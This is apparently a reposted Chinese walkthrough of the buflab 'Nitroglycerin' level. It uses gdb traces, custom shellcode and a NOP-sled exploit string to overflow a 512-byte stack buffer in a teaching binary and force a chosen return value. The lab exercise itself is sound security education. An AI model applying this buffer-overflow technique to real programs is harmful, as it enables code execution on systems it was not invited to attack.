您好,登錄后才能下訂單哦!
Level 5 Nitroglycerin (10 分)
題目說明:這一關是一道加分題。在bufbomb程序中還有一個'-n'的選項,使用這個選項時,bufbomb會運行Nitro模式,此時程序不會調用getbuf,而是調用getbufn:
int getbufn() { char buf[512]; Gets(buf); return 1; }
這個函數與getbuf所不同的是,分配了512字節的字符數組,而調用getbufn的函數會在棧中隨機分配一段存儲區,這導致getbufn使用的棧基址EBP隨機變化。此外,在Nitro模式運行時,bufbomb會要求提供5次輸入字符串,每一次都要求getbufn的返回值為實驗者的cookie。
與Level4相同,但要求提供同一個exploit string,在getbufn被調用5次后,最終返回到testn函數中,且不能破壞testn的堆棧狀態,并使返回值為cookie。
解法:
由于getbufn函數棧的EBP不固定,每一次buf都不相同,我們先進行采樣,觀察其變化規律。
(gdb) disass getbufn Dump of assembler code for function getbufn: 0x08048a60 <getbufn+0>: push %ebp 0x08048a61 <getbufn+1>: mov %esp,%ebp 0x08048a63 <getbufn+3>: sub $0x208,%esp 0x08048a69 <getbufn+9>: add $0xfffffff4,%esp 0x08048a6c <getbufn+12>: lea 0xfffffe00(%ebp),%eax 0x08048a72 <getbufn+18>: push %eax 0x08048a73 <getbufn+19>: call 0x8048b50 <Gets> 0x08048a78 <getbufn+24>: mov $0x1,%eax 0x08048a7d <getbufn+29>: mov %ebp,%esp 0x08048a7f <getbufn+31>: pop %ebp 0x08048a80 <getbufn+32>: ret End of assembler dump. (gdb) b *0x8048a72 注:在調用Gets前下斷點 Breakpoint 1 at 0x8048a72 (gdb) run -n -t heen 以Nitro模式運行 Starting program: /root/Desktop/buflab/bufbomb -n -t heen Team: heen Cookie: 0x5573b7cf Breakpoint 1, 0x08048a72 in getbufn () (gdb) p/x $ebp+0xfffffe00 以16進制打印buf $1 = 0xbfffaeb8 (gdb) cont Continuing. Type string:hello Dud: getbufn returned 0x1 Better luck next time Breakpoint 1, 0x08048a72 in getbufn () (gdb) p/x $ebp+0xfffffe00 $2 = 0xbfffaeb8 (gdb) cont Continuing. Type string:hello again Dud: getbufn returned 0x1 Better luck next time Breakpoint 1, 0x08048a72 in getbufn () (gdb) p/x $ebp+0xfffffe00 $3 = 0xbfffaec8 (gdb) cont Continuing. Type string:hello again again Dud: getbufn returned 0x1 Better luck next time Breakpoint 1, 0x08048a72 in getbufn () (gdb) p/x $ebp+0xfffffe00 $4 = 0xbfffae98 (gdb) cont Continuing. Type string:dfafafaf Dud: getbufn returned 0x1 Better luck next time Breakpoint 1, 0x08048a72 in getbufn () (gdb) p/x $ebp+0xfffffe00 $5 = 0xbfffaec8 (gdb) p $ebp+0xfffffe00-$ebp $6 = -512 (gdb) cont Continuing. Type string:fdfdfdfdfff Dud: getbufn returned 0x1 Better luck next time Program exited normally.
在getbufn被調用5次時,buf分別為0xbfffaeb8、0xbfffaeb8、0xbffffaec8、0xbfffae98、0xbfffaec8。最后我們打印了一下buf與EBP之間的偏移,正好為buf分配的512字節。堆棧布局如圖所示。
由于buf分配了足夠的存儲空間(512字節),而且buf本身隨機變化,因此我們考慮在實際的shellcode前加上NOP Sled(空指令雪撬),然后提供一個buf在getbufn5次調用中的最大地址覆蓋ret,這樣可保證ret指向EBP與實際buf之間的NOP Sled區,這樣保證通過NOP空指令滑行,最終執行shellcode。
另外一個需要注意的地方是恢復調用函數testn的堆棧狀態,由于EBP不固定,不能向Level 4那樣在exploit string中填入SFP,需要在shellcode中設置。
總結一下,編寫shellcode需要(1)恢復SFP;(2)設置getbufn返回值為cookie;(3)跳轉到testn中調用getbufn后的下一指令地址。
反匯編testn
(gdb) disass testn Dump of assembler code for function testn: 0x08048a84 <testn+0>: push %ebp 0x08048a85 <testn+1>: mov %esp,%ebp 0x08048a87 <testn+3>: sub $0x18,%esp ; %ebp=%esp+0x18 0x08048a8a <testn+6>: movl $0xdeadbeef,0xfffffffc(%ebp) 0x08048a91 <testn+13>: call 0x8048a60 <getbufn> 0x08048a96 <testn+18>: mov %eax,%edx ;shellcode需要返回到的地址 0x08048a98 <testn+20>: mov 0xfffffffc(%ebp),%eax 0x08048a9b <testn+23>: cmp $0xdeadbeef,%eax 0x08048aa0 <testn+28>: je 0x8048ab1 <testn+45> 0x08048aa2 <testn+30>: add $0xfffffff4,%esp 0x08048aa5 <testn+33>: push $0x8049440 0x08048aaa <testn+38>: call 0x8048748 <printf@plt> 0x08048aaf <testn+43>: jmp 0x8048ae1 <testn+93> 0x08048ab1 <testn+45>: cmp 0x804aa50,%edx 0x08048ab7 <testn+51>: jne 0x8048ad3 <testn+79> 0x08048ab9 <testn+53>: add $0xfffffff8,%esp 0x08048abc <testn+56>: push %edx 0x08048abd <testn+57>: push $0x80494c0 0x08048ac2 <testn+62>: call 0x8048748 <printf@plt> 0x08048ac7 <testn+67>: add $0xfffffff4,%esp 0x08048aca <testn+70>: push $0x4 0x08048acc <testn+72>: call 0x8048c30 <validate> ---Type <return> to continue, or q <return> to quit---
由于我們只覆蓋了getbufn在堆棧中的SFP和RET,不會影響ESP,可以反推testn堆棧中的ebp(即getbufn的SFP)為esp+0x18。通過這些信息,編寫shellcode,并獲得其十六進制的機器碼
[root@localhost buflab]# cat exploit5_shellcode.s leal 0x18(%esp),%ebp movl $0x5573b7cf,%eax pushl $0x8048a96 ret [root@localhost buflab]# gcc -c exploit5_shellcode.s [root@localhost buflab]# objdump -d exploit5_shellcode.o exploit5_shellcode.o: file format elf32-i386 Disassembly of section .text: 00000000 <.text>: 0: 8d 6c 24 18 lea 0x18(%esp),%ebp 4: b8 cf b7 73 55 mov $0x5573b7cf,%eax 9: 68 96 8a 04 08 push $0x8048a96 e: c3 ret
上述shellcode的機器碼包括15個字節,我們還需要在其前面填入512 -15 = 497個NOP(90)。
編寫497個空格間斷的90是一件痛苦的事,幸好我們有perl來幫我們完成
[root@localhost buflab]# perl -e 'print "90 " x 497;'> exploit5.txt
當然perl還可直接生成exploit string,由于有sendstring程序,此處不表。
接著編輯exploit5.txt,在最后一個90后填入。
90 90 ... 90 8d 6c 24 18 b8 cf b7 73 55 68 96 8a 04 08 c3 61 61 61 61 c8 ae ff bf
<-497個->
上面的4個61為覆蓋SFP的地方,由于我們shellcode中做了設置,因此此處可為任意字節(除回車和nul),最后緊跟我們實驗中獲得的buf 的最大地址0xbffffaec8。
運行
[root@localhost buflab]# cat exploit5.txt|./sendstring -n 5 |./bufbomb -n -t heen Team: heen Cookie: 0x5573b7cf Type string:KABOOM!: getbufn returned 0x5573b7cf Keep going Type string:KABOOM!: getbufn returned 0x5573b7cf Keep going Type string:KABOOM!: getbufn returned 0x5573b7cf Keep going Type string:KABOOM!: getbufn returned 0x5573b7cf Keep going Type string:KABOOM!: getbufn returned 0x5573b7cf NICE JOB!
在getbufn調用5次后,滿足了題目要求。
總結:
上述5關前前后后做了一個月,盡管以前對棧的緩沖區溢出有所理解,但當真正實踐起來又是另外一回事,也并非如記錄中的那樣一帆風順、信手捻來,而是走了無數的彎路以后才理解、并應用了正確的方法、得出了最后的結果,正所謂"紙上得來終覺淺,絕知此事要躬行",在信息安全這樣一個實戰性極強的領域里,更需要實實在在地耕耘下去。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。